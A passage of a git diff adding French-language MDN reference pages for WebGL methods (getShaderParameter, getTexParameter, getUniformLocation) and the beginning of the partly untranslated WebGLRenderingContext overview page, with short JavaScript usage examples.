+slug: Web/API/WebGLRenderingContext/getShaderParameter
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/getShaderParameter
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <code>WebGLRenderingContext.getShaderParameter()</code> de l'API WebGL retourne des informations sur le shader donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">quelconque <var>gl</var>.getShaderParameter(<var>shader</var>, <var>nomp</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>Un {{domxref("WebGLShader")}} depuis lequel obtenir une information de paramètre.</dd>
+ <dt>nomp</dt>
+ <dd>Un {{domxref("Glenum")}} indiquant l'information à retrouver. Valeurs possibles :
+ <ul>
+  <li><code>gl.DELETE_STATUS</code> : retourne un {{domxref("GLboolean")}} indicating si le shader est marqué pour suppression ou non.</li>
+  <li><code>gl.COMPILE_STATUS</code> : retourne un {{domxref("GLboolean")}} indiquant si la dernière compilation du shader a réussi ou non.</li>
+  <li><code>gl.SHADER_TYPE</code> : retourne un {{domxref("GLenum")}} indiquant si le shader est un objet shader de sommets (<code>gl.VERTEX_SHADER</code>) ou shader de fragment (<code>gl.FRAGMENT_SHADER</code>).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Retourne l'information de shader demandée (telle qu'indiquée par <code>nomp</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.getShaderParameter(shader, gl.SHADER_TYPE);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "getShaderParameter")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetShaderiv.xml", "glGetShaderiv")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité dans cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getShaderParameter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/gettexparameter/index.html b/files/fr/web/api/webglrenderingcontext/gettexparameter/index.html
new file mode 100644
index 0000000000..ecce9e54ee
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/gettexparameter/index.html
@@ -0,0 +1,201 @@
+---
+title: WebGLRenderingContext.getTexParameter()
+slug: Web/API/WebGLRenderingContext/getTexParameter
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Textures
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/getTexParameter
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.getTexParameter()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> retourne des informations concernant la texture indiquée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">quelconque <var>gl</var>.getTexParameter(<var>cible</var>, <var>nomp</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cible</dt>
+ <dd>Un {{domxref("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles :
+ <ul>
+  <li><code>gl.TEXTURE_2D</code> : une texture bi-dimensionnelle.</li>
+  <li><code>gl.TEXTURE_CUBE_MAP</code> : une texture appliquée à un cube.</li>
+  <li>Lorsqu' un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.TEXTURE_3D</code> : une texture tri-dimensionnelle.</li>
+    <li><code>gl.TEXTURE_2D_ARRAY</code> : une texture bi-dimensionnelle en tableau.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>nomp</dt>
+ <dd>Un {{domxref("Glenum")}} indiquant l'information à obtenir. Valeurs possibles :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">nomp</th>
+    <th scope="col">Type retourné</th>
+    <th scope="col">Description</th>
+    <th scope="col">Valeurs retournées possibles</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th colspan="4">Disponible dans un contexte WebGL 1</th>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_MAG_FILTER</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Filtre de grossissement de texture</td>
+    <td><code>gl.LINEAR</code> (valeur par défaut), <code>gl.NEAREST</code>.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_MIN_FILTER</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Filtre de réduction de texture</td>
+    <td><code>gl.LINEAR</code>, <code>gl.NEAREST</code>, <code>gl.NEAREST_MIPMAP_NEAREST</code>, <code>gl.LINEAR_MIPMAP_NEAREST</code>, <code>gl.NEAREST</code>_MIPMAP_LINEAR (valeur par défaut), <code>gl.LINEAR_MIPMAP_LINEAR</code>.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_WRAP_S</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Fonction d'emballage pour la coordonnée de texture <code>s</code></td>
+    <td><code>gl.REPEAT</code> (valeur par défaut), <code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_WRAP_T</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Fonction d'emballage pour la coordonnée de texture <code>t</code></td>
+    <td><code>gl.REPEAT</code> (valeur par défaut), <code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>.</td>
+   </tr>
+   <tr>
+    <th colspan="4">Disponible en outre lorsque l'extension {{domxref("EXT_texture_filter_anisotropic")}} est utilisée</th>
+   </tr>
+   <tr>
+    <td><code>ext.TEXTURE_MAX_ANISOTROPY_EXT</code></td>
+    <td>{{domxref("GLfloat")}}</td>
+    <td>Anisotropie maximum pour une texture</td>
+    <td>Toutes valeurs float.</td>
+   </tr>
+   <tr>
+    <th colspan="4">Disponible en outre lorsqu'un contexte WebGL 2 est utilisé</th>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_BASE_LEVEL</code></td>
+    <td>{{domxref("GLint")}}</td>
+    <td>Niveau  de mipmap de texture</td>
+    <td>Toutes valeurs int.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_COMPARE_FUNC</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Fonction de comparaison</td>
+    <td><code>gl.LEQUAL</code> (valeurs par défaut), <code>gl.GEQUAL</code>, <code>gl.LESS</code>, <code>gl.GREATER</code>, <code>gl.EQUAL</code>, <code>gl.NOTEQUAL</code>, <code>gl.ALWAYS</code>, <code>gl.NEVER</code>.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_COMPARE_MODE</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Mode de comparaison de texture</td>
+    <td><code>gl.NONE</code> (valeur par défaut), <code>gl.COMPARE_REF_TO_TEXTURE</code>.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_IMMUTABLE_FORMAT</code></td>
+    <td>{{domxref("GLboolean")}}</td>
+    <td>Immuabilité du format et de la taille de la texture</td>
+    <td>true ou false.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_IMMUTABLE_LEVELS</code></td>
+    <td>{{domxref("GLuint")}}</td>
+    <td>?</td>
+    <td>Toutes valeurs uint.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_MAX_LEVEL</code></td>
+    <td>{{domxref("GLint")}}</td>
+    <td>Niveau maximum  de mipmap de texture en tableau</td>
+    <td>Toutes valeurs int.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_MAX_LOD</code></td>
+    <td>{{domxref("GLfloat")}}</td>
+    <td>Valeur de niveau-de-détail maximum de texture</td>
+    <td>Toutes valeurs float.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_MIN_LOD</code></td>
+    <td>{{domxref("GLfloat")}}</td>
+    <td>Valeur de niveau-de-détail minimum de texture</td>
+    <td>Toutes valeurs float.</td>
+   </tr>
+   <tr>
+    <td><code>gl.TEXTURE_WRAP_R</code></td>
+    <td>{{domxref("GLenum")}}</td>
+    <td>Fonction d'emballage pour la coordonnée de texture  <code>r</code></td>
+    <td><code>gl.REPEAT</code> (valeur par défaut), <code>gl.CLAMP_TO_EDGE</code>, <code>gl.MIRRORED_REPEAT</code>.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Retourne l'information de texture demandée (telle qu'indiquée par <code>nomp</code>). Si une erreur se produit, {{jsxref("null")}} est retourné.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.getTexParameter(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "getTexParameter")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetTexParameter.xml", "glGetTexParameter")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL ES 2.0 (similaire).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.6", "getTexParameter")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Définition mise à jour pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glGetTexParameter.xhtml", "glGetTexParameter")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l'API OpenGL ES 3.0 (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getTexParameter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}</li>
+ <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.html b/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.html
new file mode 100644
index 0000000000..17eeec89cc
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/getuniformlocation/index.html
@@ -0,0 +1,142 @@
+---
+title: WebGLRenderingContext.getUniformLocation()
+slug: Web/API/WebGLRenderingContext/getUniformLocation
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Uniform Variables
+  - Uniforms
+  - Variables
+  - Variables en WebGL
+  - WebGL
+  - WebGLRenderingContext
+  - getUniformLocation
+translation_of: Web/API/WebGLRenderingContext/getUniformLocation
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<div>Faisant partie de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a>, la méthode {{domxref("WebGLRenderingContext")}} <code><strong>getUniformLocation()</strong></code> retourne l'emplacement d'une variable <strong>uniform</strong> particulière appartenant au {{domxref ("WebGLProgram")}} indiqué. La variable uniform est retournée sous la forme d'un objet {{domxref("WebGLUniformLocation")}}, qui est un identificateur opaque utilisé pour indiquer où se trouve la variable uniform dans la mémoire de la GPU.</div>
+
+<div> </div>
+
+<div>Une fois que vous avez l'emplacement de l'uniform, vous pouvez accéder à l'uniform lui-même en utilisant l'une des autres méthodes d'accès uniform, en passant l'emplacement de l'uniform comme l'une des entrées :</div>
+
+<div> </div>
+
+<dl>
+ <dt><span class="seoSummary">{{domxref ("WebGLRenderingContext.getUniform", "getUniform()")}}</span></dt>
+ <dd><span class="seoSummary">Retourne la valeur de l'uniform à l'emplacement indiqué.</span></dd>
+ <dt><br>
+ <span class="seoSummary">{{domxref ("WebGLRenderingContext.uniform", "uniform[1234] [fi] [v]()")}}</span></dt>
+ <dd><span class="seoSummary">Affecte à la valeur de l'uniform la valeur spécifiée, qui peut être un nombre flottant ou entier unique, ou un vecteur de 2 à 4 composantes spécifié soit comme une liste de valeurs, soit comme un {{jsxref ("Float32Array")}} ou un {{ jsxref ("Int32Array")}}.</span></dd>
+ <dt><br>
+ <span class="seoSummary">{{domxref ("WebGLRenderingContext.uniformMatrix", "uniformMatrix[234][fv]()")}}</span></dt>
+ <dd><span class="seoSummary">Affecte à la valeur de l'uniforme la matrice spécifiée, éventuellement avec transposition. La valeur est représentée comme une suite de valeurs GLfloat ou comme un Float32Array.</span></dd>
+</dl>
+
+<p><br>
+ <span class="seoSummary">L'uniform lui-même est déclaré dans le programme shader en utilisant GLSL.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>WebGLUniformLocation</em> = <em>WebGLRenderingContext</em>.getUniformLocation(<em>programme</em>, <em>nom</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>programme</code></dt>
+ <dd>Le {{domxref ("WebGLProgram")}} dans lequel localiser la variable uniform indiquée.</dd>
+ <dt><code>nom</code></dt>
+ <dd>Une {{domxref ("DOMString")}} indiquant le nom de la variable uniform dont l'emplacement doit être retourné. Le nom ne peut contenir aucun espace, et vous ne pouvez pas utiliser cette fonction pour obtenir l'emplacement d'aucun uniform commençant par la chaîne réservée <code>"gl_"</code>, du fait que ceux-ci sont internes à la couche WebGL.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une valeur {{domxref ("WebGLUniformLocation")}} indiquant l'emplacement de la variable nommée, si elle existe. Si la variable indiquée n'existe pas, {{jsxref("null")}} est retourné à la place.</p>
+
+<p><code>WebGLUniformLocation</code> est une valeur opaque utilisée pour identifier de manière unique l'emplacement dans la mémoire de la GPU auquel se trouve la variable uniform. Avec cette valeur en main, vous pouvez appeler d'autres méthodes WebGL pour accéder à la valeur de la variable uniform.</p>
+
+<div class="note">
+<p>Le type <code>WebGLUniformLocation</code> est compatible avec le type <code>GLint</code> pour indiquer l'indice ou l'emplacement d'un attribut uniform.</p>
+</div>
+
+<h3 id="Erreurs">Erreurs</h3>
+
+<p>Les erreurs suivantes peuvent se produire ; pour vérifier les erreurs après le retour de getUniformLocation(), appelez {{domxref ("WebGLRenderingContext.getError", "getError()")}}.</p>
+
+<dl>
+ <dt>GL_INVALID_VALUE</dt>
+ <dd>Le paramètre <code>programme</code> n'est pas une valeur ou un objet généré par WebGL.</dd>
+ <dt>GL_INVALID_OPERATION</dt>
+ <dd>Le paramètre <code>programme</code> ne correspond pas à un programme GLSL généré par WebGL, ou le programme indiqué n'a pas été lié avec succès.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, extrait de la méthode <code>animateScene()</code> dans l'article <a href="/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example#Drawing_and_animating_the_scene">Un exemple d'animation 2D WebGL de base</a>, retrouve les emplacements de trois uniforms du programme d'ombrage, puis définit la valeur de chacun des trois uniforms.</p>
+
+<pre class="brush: js highlight[3-8]">gl.useProgram(programmeShader);
+
+uScalingFactor =
+    gl.getUniformLocation(programmeShader, "uScalingFactor");
+uGlobalColor =
+    gl.getUniformLocation(programmeShader, "uGlobalColor");
+uRotationVector =
+    gl.getUniformLocation(programmeShader, "uRotationVector")
+
+gl.uniform2fv(uScalingFactor, currentScale);
+gl.uniform2fv(uRotationVector, currentRotation);
+gl.uniform4fv(uGlobalColor, [0.1, 0.7, 0.2, 1.0]);</pre>
+
+<div class="callout-box">Cet extrait de code provient de <a href="/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example#Drawing_and_animating_the_scene">la fonction animateScene()</a> dans "Un exemple d'animation WebGL 2D de base". Voir cet article pour l'exemple complet et pour voir l'animation résultante en action.</div>
+
+<p>Après avoir défini le programme d'ombrage en cours comme <code>programmeShader</code>, ce code récupère les trois uniforms <code>"uScalingFactor"</code>, <code>"uGlobalColor"</code> et <code>"uRotationVector"</code>, en appelant <code>getUniformLocation()</code> une fois pour chaque uniform.</p>
+
+<p>Ensuite, les valeurs des trois uniforms sont définies :</p>
+
+<ul>
+ <li>L'uniform <code>uScalingFactor</code> - un sommet à 2 composantes - reçoit les facteurs d'échelle horizontale et verticale à partir de la variable <code>currentScale</code>.</li>
+ <li>L'uniform <code>uRotationVector</code> reçoit le contenu de la variable <code>currentRotation</code>. C'est également un sommet à deux composantes.</li>
+ <li>Enfin, l'uniform <code>uGlobalColor</code> reçoit la couleur <code>[0.1, 0.7, 0.2, 1.0]</code>, les composants de ce vecteur à quatre composants représentant respectivement les valeurs rouge, vert, bleu et alpha.</li>
+</ul>
+
+<p>Cela fait, la prochaine fois que les fonctions d'ombrage seront appelées, leurs propres variables nommées <code>uScalingFactor</code>, <code>uGlobalColor</code> et <code>uRotationVector</code> auront toutes les valeurs fournies par le code JavaScript.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "getUniformLocation")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetUniformLocation.xml", "glGetUniformLocation")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l’API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getUniformLocation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getAttribLocation()")}}</li>
+ <li>{{domxref("WebGLUniformLocation")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/index.html b/files/fr/web/api/webglrenderingcontext/index.html
new file mode 100644
index 0000000000..e44f406e7c
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/index.html
@@ -0,0 +1,369 @@
+---
+title: WebGLRenderingContext
+slug: Web/API/WebGLRenderingContext
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<div>L'interface <strong>WebGLRenderingContext</strong> fournit le contexte de rendu OpenGL ES 2.0 pour le dessin d'une suface dans un élément HTML {{HTMLElement("canvas")}}<strong>.</strong></div>
+
+<div> </div>
+
+<p>Pour obtenir une instance de cette interface, appelez {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} sur un élément <code>&lt;canvas&gt;</code>, en spécifiant "webgl" en paramètre :</p>
+
+<pre class="brush: js">var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+</pre>
+
+<p>Une fois que avez le contexte de rendu WebGL, vous pouvez dessiner à l'intérieur.</p>
+
+<p>Le <a href="/fr/docs/Web/API/WebGL_API/Tutorial" title="Tutoriel WebGL">tutoriel WebGL</a> contient plus d'informations, d'exemples, et de ressources sur comment débuter en WebGL.</p>
+
+<h2 id="Constants">Constants</h2>
+
+<p>See the <a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a> page.</p>
+
+<h2 id="The_WebGL_context">The WebGL context</h2>
+
+<p>The following properties and methods provide general information and functionality to deal with the WebGL context:</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.canvas")}}</dt>
+ <dd>A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.</dd>
+ <dt>{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Pushes frames back to the original {{domxref("HTMLCanvasElement")}}, if the context is not directly fixed to a specific canvas.</p>
+ </dd>
+ <dt>{{domxref("WebGLRenderingContext.drawingBufferWidth")}}</dt>
+ <dd>The read-only width of the current drawing buffer. Should match the width of the canvas element associated with this context.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawingBufferHeight")}}</dt>
+ <dd>The read-only height of the current drawing buffer. Should match the height of the canvas element associated with this context.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getContextAttributes()")}}</dt>
+ <dd>Returns a <code>WebGLContextAttributes</code> object that contains the actual context parameters. Might return {{jsxref("null")}}, if the context is lost.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isContextLost()")}}</dt>
+ <dd>Returns <code>true</code> if the context is lost, otherwise returns <code>false</code>.</dd>
+</dl>
+
+<h2 id="Viewing_and_clipping">Viewing and clipping</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.scissor()")}}</dt>
+ <dd>Defines the scissor box.</dd>
+ <dt>{{domxref("WebGLRenderingContext.viewport()")}}</dt>
+ <dd>Sets the viewport.</dd>
+</dl>
+
+<h2 id="State_information">State information</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.activeTexture()")}}</dt>
+ <dd>Selects the active texture unit.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendColor()")}}</dt>
+ <dd>Sets the source and destination blending factors.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendEquation()")}}</dt>
+ <dd>Sets both the RGB blend equation and alpha blend equation to a single equation.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendEquationSeparate()")}}</dt>
+ <dd>Sets the RGB blend equation and alpha blend equation separately.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendFunc()")}}</dt>
+ <dd>Defines which function is used for blending pixel arithmetic.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt>
+ <dd>Defines which function is used for blending pixel arithmetic for RGB and alpha components separately.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt>
+ <dd>Specifies the color values used when clearing color buffers.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt>
+ <dd>Specifies the depth value used when clearing the depth buffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt>
+ <dd>Specifies the stencil value used when clearing the stencil buffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt>
+ <dd>Sets which color components to enable or to disable when drawing or rendering to a {{domxref("WebGLFramebuffer")}}.</dd>
+ <dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt>
+ <dd>Specifies whether or not front- and/or back-facing polygons can be culled.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthFunc()")}}</dt>
+ <dd>Specifies a function that compares incoming pixel depth to the current depth buffer value.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthMask()")}}</dt>
+ <dd>Sets whether writing into the depth buffer is enabled or disabled.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthRange()")}}</dt>
+ <dd>Specifies the depth range mapping from normalized device coordinates to window or viewport coordinates.</dd>
+ <dt>{{domxref("WebGLRenderingContext.disable()")}}</dt>
+ <dd>Disables specific WebGL capabilities for this context.</dd>
+ <dt>{{domxref("WebGLRenderingContext.enable()")}}</dt>
+ <dd>Enables specific WebGL capabilities for this context.</dd>
+ <dt>{{domxref("WebGLRenderingContext.frontFace()")}}</dt>
+ <dd>Specifies whether polygons are front- or back-facing by setting a winding orientation.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getParameter()")}}</dt>
+ <dd>Returns a value for the passed parameter name.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getError()")}}</dt>
+ <dd>Returns error information.</dd>
+ <dt>{{domxref("WebGLRenderingContext.hint()")}}</dt>
+ <dd>Specifies hints for certain behaviors. The interpretation of these hints depend on the implementation.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt>
+ <dd>Tests whether a specific WebGL capability is enabled or not for this context.</dd>
+ <dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt>
+ <dd>Sets the line width of rasterized lines.</dd>
+ <dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt>
+ <dd>Specifies the pixel storage modes</dd>
+ <dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt>
+ <dd>Specifies the scale factors and units to calculate depth values.</dd>
+ <dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt>
+ <dd>Specifies multi-sample coverage parameters for anti-aliasing effects.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt>
+ <dd>Sets the both front and back function and reference value for stencil testing.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}</dt>
+ <dd>Sets the front and/or back function and reference value for stencil testing.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilMask()")}}</dt>
+ <dd>Controls enabling and disabling of both the front and back writing of individual bits in the stencil planes.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}</dt>
+ <dd>Controls enabling and disabling of front and/or back writing of individual bits in the stencil planes.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilOp()")}}</dt>
+ <dd>Sets both the front and back-facing stencil test actions.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}</dt>
+ <dd>Sets the front and/or back-facing stencil test actions.</dd>
+</dl>
+
+<h2 id="Buffers">Buffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindBuffer()")}}</dt>
+ <dd>Binds a <code>WebGLBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bufferData()")}}</dt>
+ <dd>Updates buffer data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bufferSubData()")}}</dt>
+ <dd>Updates buffer data starting at a passed offset.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createBuffer()")}}</dt>
+ <dd>Creates a <code>WebGLBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getBufferParameter()")}}</dt>
+ <dd>Returns information about the buffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isBuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed buffer is valid.</dd>
+</dl>
+
+<h2 id="Framebuffers">Framebuffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindFramebuffer()")}}</dt>
+ <dd>Binds a <code>WebGLFrameBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}</dt>
+ <dd>Returns the status of the framebuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createFramebuffer()")}}</dt>
+ <dd>Creates a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}</dt>
+ <dd>Attaches a <code>WebGLRenderingBuffer</code> object to a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}</dt>
+ <dd>Attaches a textures image to a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}</dt>
+ <dd>Returns information about the framebuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isFramebuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLFrameBuffer</code> object is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.readPixels()")}}</dt>
